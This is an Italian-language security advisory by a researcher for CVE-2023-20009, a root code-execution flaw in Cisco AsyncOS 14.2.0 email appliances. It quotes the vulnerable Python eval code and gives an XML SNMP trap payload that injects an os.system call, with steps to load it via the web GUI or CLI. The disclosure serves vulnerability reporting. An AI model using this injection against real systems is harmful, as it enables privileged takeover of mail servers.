Informazioni

Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io

Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Panoramica: Remote Code Execution - RCE dal file di configurazione

CVE: CVE-2023-20009

Cronologia:

• Scoperto - ly1g3
• Segnalato - ly1g3
• Corretto - Cisco

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email) e Cisco Secure Email and Web Manager

Escalation dei privilegi - shell di root

Un utente autenticato con permessi sulla configurazione SNMP può eseguire codice arbitrario come root utilizzando una configurazione SNMP trap appositamente predisposta.

Dettagli tecnici

Codice sfruttato ui_checker.py:

def validate_trap_configuration(base, value_dict):
    validators = eval('read_var_auto_level_wrapper("snmp.%s_traps.configuration_class", non_editable_var=True)' % (base,))
    for k, v in value_dict.iteritems():
        if validators.has_key(k):
            base, conf_class_str = validators[k].rsplit('.', 1)
            module = __import__(base, fromlist=[conf_class_str])
            conf_class = eval('module.%s("%s")' % (conf_class_str, v))
        else:
            raise FilterError('validate_%s_trap_configuration_value' % (base,),
                              _("Trap does not allow configuration"), k)
    return value_dict

v conterrà il valore di common_trap.common_configuration

<common_trap>
    <common_name>connectivityFailure</common_name>
    <common_enabled>0</common_enabled>
    <common_configuration>http://asd.asd.&quot;+os.system(&quot;touch test.txt&quot;))#,5</common_configuration>
    </common_trap>
<common_trap>

Passaggi per attivare tramite WEB-GUI:

1. https://192.168.1.10/system_administration/configuration_file
2. "Caricare un file di configurazione dal computer locale"
3. Sostituire il campo connectivityFailure corrente con il payload sopra

Passaggi per attivare tramite CLI

1. loadconfig
2. Incollare il payload